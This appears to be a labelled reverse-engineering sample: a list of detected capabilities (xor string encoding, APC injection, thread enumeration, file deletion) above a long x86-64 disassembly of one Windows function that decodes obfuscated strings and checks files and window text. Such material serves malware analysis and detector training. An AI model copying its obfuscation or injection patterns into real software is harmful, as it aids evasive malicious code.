Function at 0x140021fb0
Capabilities:
Check if file exists
Create directory
Create thread
Delete file
Encode data using xor
Enumerate threads
Get common file path
Get file attributes
Get graphical window text
Inject apc
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2020]
mov eax, 0x2120
call fcn.140062d40
sub rsp, rax
movaps xmmword [rsp + 0x2110], xmm6
movaps xmmword [rsp + 0x2100], xmm7
movaps xmmword [rsp + 0x20f0], xmm8
movaps xmmword [rsp + 0x20e0], xmm9
movaps xmmword [rsp + 0x20d0], xmm10
movaps xmmword [rsp + 0x20c0], xmm11
movaps xmmword [rsp + 0x20b0], xmm12
movaps xmmword [rsp + 0x20a0], xmm13
movaps xmmword [rsp + 0x2090], xmm14
movaps xmmword [rsp + 0x2080], xmm15
mov rax, qword [0x1400ac2c0]
xor rax, rsp
mov qword [rbp + 0x1f70], rax
mov dword [rsp + 0x48], edx
mov rdi, rcx
mov qword [rbp + 0x228], rcx
xor ebx, ebx
mov qword [rbp + 0x12b8], rbx
mov qword [rbp + 0x1470], rbx
call fcn.140016c30
mov r8d, ebx
test al, al
jne 0x140022571
movups xmm0, xmmword [str.9_u__ZQeeRKM_]
movups xmmword [rbp + 0x7a0], xmm0
movsd xmm0, qword [0x14009cf20]
movsd qword [rbp + 0x7b0], xmm0
mov eax, dword [0x14009cf28]
mov dword [rbp + 0x7b8], eax
movzx eax, word [0x14009cf2c]
mov word [rbp + 0x7bc], ax
mov r14d, 4
movdqa xmm8, xmmword [str.3333]
movdqa xmm6, xmmword [0x14009e430]
movdqa xmm7, xmmword [0x14009e350]
mov esi, dword [0x1400ac318]
cmp esi, 2
jl 0x140022206
movdqa xmm0, xmmword [0x14009e410]
movdqa xmmword [rbp + 0x1300], xmm0
lea rcx, [rbp + 0x7a0]
mov edx, r14d
mov r9d, dword [rbp + 0x1300]
movdqa xmm3, xmmword [0x14009e3f0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
lea edx, [rdx + 8]
cmp r8d, 0x18
jl 0x140022110
cmp r8d, 0x1e
jge 0x140022253
movsxd rax, r8d
lea r9, [rbp + 0x7a0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140022220
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
mov qword [rbp + 0x360], rbx
mov qword [rbp + 0x368], rbx
lea rax, [rbp + 0x7a0]
mov r15, 0xffffffffffffffff
nop dword [rax]
inc r15
cmp byte [rax + r15], bl
jne 0x140022280
mov r8, r15
lea rdx, [rbp + 0x7a0]
lea rcx, [rbp + 0x350]
call fcn.140005560
nop
mov r8d, 0xff
lea rdx, [rbp + 0x350]
mov rcx, rdi
call fcn.140005a90
nop
mov rdx, qword [rbp + 0x368]
cmp rdx, 0xf
jbe 0x1400222f7
inc rdx
mov rcx, qword [rbp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400222f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fac4
call fcn.1400626b0
mov eax, dword [0x14009ba68]
mov dword [rsp + 0x68], eax
movsd xmm0, qword [str.qGDRMK:]
movzx eax, word [0x14009ba6c]
movsd qword [rsp + 0x60], xmm0
mov byte [rbp + 0x350], 0
mov qword [rbp + 0x368], 0xf
mov qword [rbp + 0x360], rbx
mov edx, 0x45
mov word [rsp + 0x60], dx
xor word [rsp + 0x62], 0x35
xor word [rsp + 0x64], 0x36
xor word [rsp + 0x66], 0x37
xor word [rsp + 0x68], 0x38
xor word [rsp + 0x6a], 0x39
xor ax, 0x3a
mov word [rsp + 0x6c], ax
movups xmm0, xmmword [0x14009bf50]
movups xmmword [rbp + 0xcc0], xmm0
movups xmm1, xmmword [0x14009bf60]
movups xmmword [rbp + 0xcd0], xmm1
movups xmm0, xmmword [0x14009bf70]
movups xmmword [rbp + 0xce0], xmm0
movups xmm1, xmmword [0x14009bf80]
movups xmmword [rbp + 0xcf0], xmm1
movups xmm0, xmmword [0x14009bf90]
movups xmmword [rbp + 0xd00], xmm0
movups xmm1, xmmword [0x14009bfa0]
movups xmmword [rbp + 0xd10], xmm1
movups xmm0, xmmword [0x14009bfb0]
movups xmmword [rbp + 0xd20], xmm0
movups xmm1, xmmword [0x14009bfc0]
movups xmmword [rbp + 0xd30], xmm1
movsd xmm0, qword [0x14009bfd0]
movsd qword [rbp + 0xd40], xmm0
movzx eax, word [0x14009bfd8]
mov word [rbp + 0xd48], ax
cmp esi, 2
jl 0x140022507
movdqa xmm4, xmmword [0x14009e400]
lea rcx, [rbp + 0xcc0]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm4
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add ebx, 8
lea rcx, [rcx + 0x10]
lea r14d, [r14 + 8]
cmp ebx, 0x40
jl 0x140022410
cmp ebx, edx
jge 0x140022552
movsxd rax, ebx
lea r8, [rbp + 0xcc0]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, bx
sub ax, cx
add ax, 0x34
xor word [r8], ax
inc ebx
lea r8, [r8 + 2]
cmp ebx, 0x45
jl 0x140022520
mov r9d, 0x10
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0xcc0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x1400231b7
movups xmm2, xmmword [str.9_zXY_SU_]
movups xmmword [rbp + 0x140], xmm2
movsd xmm0, qword [0x14009cdf8]
movsd qword [rbp + 0x150], xmm0
movdqa xmm12, xmmword [0x14009e3f0]
movdqa xmm14, xmmword [0x14009e410]
movdqa xmm9, xmmword [str.3333]
movdqa xmm7, xmmword [0x14009e430]
movdqa xmm8, xmmword [0x14009e350]
movdqa xmm15, xmmword [0x14009e3c0]
movdqa xmm13, xmmword [0x14009e3b0]
movdqa xmm10, xmmword [0x14009e390]
movdqa xmm11, xmmword [0x14009e370]
movdqa xmm3, xmmword [0x14009e3d0]
mov r12d, dword [0x1400ac318]
cmp r12d, 2
jl 0x140022893
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x140], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x144]
xorps xmm2, xmm1
movd dword [rbp + 0x144], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x148]
xorps xmm2, xmm1
movd dword [rbp + 0x148], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x14c]
xorps xmm2, xmm1
movd dword [rbp + 0x14c], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x150]
xorps xmm2, xmm1
movd dword [rbp + 0x150], xmm2
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm3
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x154]
xorps xmm2, xmm1
movd dword [rbp + 0x154], xmm2
jmp 0x1400228c9
lea r9, [rbp + 0x140]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x1400228a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x680], xmm0
mov qword [rbp + 0x690], rbx
mov qword [rbp + 0x698], rbx
lea rax, [rbp + 0x140]
mov r15, 0xffffffffffffffff
mov r8, r15
inc r8
cmp byte [rax + r8], bl
jne 0x1400228f2
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x680]
call fcn.140005560
nop
mov r8d, 0xffff
lea rdx, [rbp + 0x680]
mov rcx, rdi
call fcn.140005a90
nop
mov rdx, qword [rbp + 0x698]
cmp rdx, 0xf
jbe 0x140022966
inc rdx
mov rcx, qword [rbp + 0x680]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022961
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fac4
call fcn.1400626b0
mov qword [rbp + 0x690], rbx
mov qword [rbp + 0x698], 0xf
mov byte [rbp + 0x680], 0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf0
mov rcx, qword [0x1400afac8]
call qword [sym.imp.USER32.dll_SendMessageW]
cmp rax, 1
jne 0x14002678c
mov r8d, 0x100
lea rdx, [rbp + 0x1950]
mov rcx, qword [0x1400afcf8]
call qword [sym.imp.USER32.dll_GetWindowTextW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x13b0], xmm0
mov qword [rbp + 0x13c0], rbx
mov qword [rbp + 0x13c8], rbx
lea rax, [rbp + 0x1950]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400229f0
lea rdx, [rbp + 0x1950]
lea rcx, [rbp + 0x13b0]
call fcn.140059c20
nop
lea rcx, [rbp + 0x13b0]
cmp qword [rbp + 0x13c8], 7
cmova rcx, qword [rbp + 0x13b0]
mov rax, qword [rbp + 0x13c0]
lea r8, [rcx + rax*2]
lea rdx, [rbp + 0x13b0]
cmova rdx, qword [rbp + 0x13b0]
lea rcx, [rbp + 0x1350]
call fcn.140058760
nop
mov r8d, 0x104
lea rdx, [rbp + 0x1630]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1330], xmm0
mov qword [rbp + 0x1340], rbx
mov qword [rbp + 0x1348], rbx
lea rax, [rbp + 0x1630]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140022a84
lea rdx, [rbp + 0x1630]
lea rcx, [rbp + 0x1330]
call fcn.140005560
nop
lea rsi, [rbp + 0x1330]
mov r13, qword [rbp + 0x1330]
cmp qword [rbp + 0x1348], 0xf
cmova rsi, r13
mov r14, qword [rbp + 0x1340]
test r14, r14
je 0x140022b3d
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x1530]
call fcn.140088570
lea rcx, [0x14009aaac]
lea rdx, [0x14009aaae]
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rbp + rax + 0x1530], 1
inc rcx
cmp rcx, rdx
jne 0x140022af0
lea rax, [r14 - 1]
mov r8, r15
cmp rax, r15
cmovb r8, rax
add r8, rsi
movzx eax, byte [r8]
cmp byte [rbp + rax + 0x1530], 0
jne 0x140022b38
cmp r8, rsi
je 0x140022b3d
dec r8
movzx eax, byte [r8]
cmp byte [rbp + rax + 0x1530], 0
je 0x140022b22
sub r8, rsi
jmp 0x140022b40
mov r8, r15
xorps xmm0, xmm0
movups xmmword [rbp + 0x780], xmm0
mov qword [rbp + 0x790], rbx
mov qword [rbp + 0x798], rbx
cmp r14, r8
cmovb r8, r14
lea rdx, [rbp + 0x1330]
cmp qword [rbp + 0x1348], 0xf
cmova rdx, r13
lea rcx, [rbp + 0x780]
call fcn.140005560
mov rdx, qword [rbp + 0x1348]
cmp rdx, 0xf
jbe 0x140022bbf
inc rdx
mov rcx, qword [rbp + 0x1330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022bba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002faf7
call fcn.1400626b0
movups xmm1, xmmword [rbp + 0x780]
movups xmmword [rbp + 0x1330], xmm1
movups xmm0, xmmword [rbp + 0x790]
movups xmmword [rbp + 0x1340], xmm0
mov qword [rbp + 0x790], rbx
mov qword [rbp + 0x798], 0xf
mov byte [rbp + 0x780], 0
movq r13, xmm0
movabs rdx, 0x7fffffffffffffff
mov rax, rdx
sub rax, r13
cmp rax, 1
jb 0x14002faca
lea r9, [rbp + 0x1330]
movq rcx, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova r9, rcx
mov qword [rsp + 0x58], r9
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov qword [rbp + 0x2c0], rbx
mov qword [rbp + 0x2c8], rbx
lea rax, [r13 + 1]
mov r14d, 0xf
lea rsi, [rbp + 0x2b0]
cmp rax, r14
jbe 0x140022cee
mov r14, rax
or r14, 0xf
cmp r14, rdx
jbe 0x140022ca4
mov r14, rdx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400626b8
test rax, rax
je 0x14002faf7
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140022cde
mov ecx, 0x16
cmp r14, rcx
cmovb r14, rcx
lea rcx, [r14 + 1]
test rcx, rcx
jne 0x140022cbe
mov rsi, rbx
jmp 0x140022ce7
cmp rcx, 0x1000
jb 0x140022cd6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14002f7f8
jmp 0x140022c85
call fcn.1400626b8
mov rsi, rax
mov r9, qword [rsp + 0x58]
lea rax, [r13 + 1]
mov qword [rbp + 0x2b0], rsi
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x2c8], r14
mov r8, r13
mov rdx, r9
mov rcx, rsi
call fcn.140087ed0
movzx ecx, word [0x14009aab0]
mov byte [rsi + r13], cl
mov byte [rsi + r13 + 1], 0
lea rdx, [rbp + 0x1350]
cmp qword [rbp + 0x1368], 0xf
cmova rdx, qword [rbp + 0x1350]
mov r8, qword [rbp + 0x1360]
lea rcx, [rbp + 0x2b0]
call fcn.140052330
xorps xmm0, xmm0
movups xmmword [rbp + 0x1310], xmm0
mov qword [rbp + 0x1320], rbx
mov qword [rbp + 0x1328], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1310], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1320], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0xf
jbe 0x140022dc2
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022dbd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002faeb
call fcn.1400626b0
mov qword [rbp + 0x2c0], rbx
mov qword [rbp + 0x2c8], 0xf
mov byte [rbp + 0x2b0], 0
lea rsi, [rbp + 0x1310]
cmp qword [rbp + 0x1328], 0xf
cmova rsi, qword [rbp + 0x1310]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140023221
movups xmm0, xmmword [str.wsts]
movups xmmword [rbp + 0xba0], xmm0
movups xmm1, xmmword [0x14009d0a0]
movups xmmword [rbp + 0xbb0], xmm1
movups xmm0, xmmword [0x14009d0b0]
movups xmmword [rbp + 0xbc0], xmm0
movups xmm1, xmmword [0x14009d0c0]
movups xmmword [rbp + 0xbd0], xmm1
mov eax, dword [0x14009d0d0]
mov dword [rbp + 0xbe0], eax
mov r8d, ebx
cmp r12d, 2
jl 0x140022f6a
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0xba0]
mov r14d, 4
mov edx, dword [rbp + 0x1300]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp r8d, 0x40
jl 0x140022e71
cmp r8d, 0x44
jge 0x140022fb3
movsxd rax, r8d
lea r9, [rbp + 0xba0]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x44
jl 0x140022f80
xorps xmm0, xmm0
movups xmmword [rbp + 0x5e0], xmm0
mov qword [rbp + 0x5f0], rbx
mov qword [rbp + 0x5f8], rbx
lea rax, [rbp + 0xba0]
inc r15
cmp byte [rax + r15], 0
jne 0x140022fd2
mov r8, r15
lea rdx, [rbp + 0xba0]
lea rcx, [rbp + 0x5e0]
call fcn.140005560
nop
mov r8d, 0xff
lea rdx, [rbp + 0x5e0]
mov rcx, rdi
call fcn.140005a90
nop
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x14002304a
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023045
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002faeb
call fcn.1400626b0
mov qword [rbp + 0x5f0], rbx
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x1328]
cmp rdx, 0xf
jbe 0x1400230a4
mov rcx, qword [rbp + 0x1310]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002309f
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002faf7
call fcn.1400626b0
mov qword [rbp + 0x1320], rbx
mov qword [rbp + 0x1328], 0xf
mov byte [rbp + 0x1310], 0
mov rdx, qword [rbp + 0x1348]
cmp rdx, 0xf
jbe 0x1400230fe
mov rcx, qword [rbp + 0x1330]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400230f9
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fafd
call fcn.1400626b0
mov byte [rbp + 0x1330], 0
mov qword [rbp + 0x1348], 0xf
mov qword [rbp + 0x1340], rbx
mov rdx, qword [rbp + 0x1368]
cmp rdx, 0xf
jbe 0x140023158
inc rdx
mov rcx, qword [rbp + 0x1350]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140023153
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fb03
call fcn.1400626b0
mov qword [rbp + 0x1360], rbx
mov qword [rbp + 0x1368], 0xf
mov byte [rbp + 0x1350], 0
mov rdx, qword [rbp + 0x13c8]
cmp rdx, 7
jbe 0x1400231b7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x13b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400231b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fac4
call fcn.1400626b0
xor al, al
mov rcx, qword [rbp + 0x1f70]
xor rcx, rsp
call fcn.140062690
lea r11, [rsp + 0x2120]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2e0], rbx
mov qword [rbp + 0x2e8], rbx
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rsi + r8], 0
jne 0x140023240
mov rdx, rsi
lea rcx, [rbp + 0x2d0]
call fcn.140005560
nop
lea rcx, [rbp + 0x2d0]
call fcn.140016f70
nop
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0xf
jbe 0x1400232a8
inc rdx
mov rcx, qword [rbp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400232a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002faeb
call fcn.1400626b0
movups xmm1, xmmword [0x14009b9b0]
movups xmm0, xmmword [str.dPDZQJIRSSM]
movups xmmword [rbp + 0x7f0], xmm1
movups xmmword [rbp + 0x7e0], xmm0
mov byte [rbp + 0x2d0], 0
mov qword [rbp + 0x2e8], 0xf
mov qword [rbp + 0x2e0], rbx
mov r8d, ebx
mov r14d, 4
cmp r12d, 2
jl 0x140023403
mov edx, ebx
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0x7e0]
mov r8d, r14d
mov r9d, dword [rbp + 0x1300]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
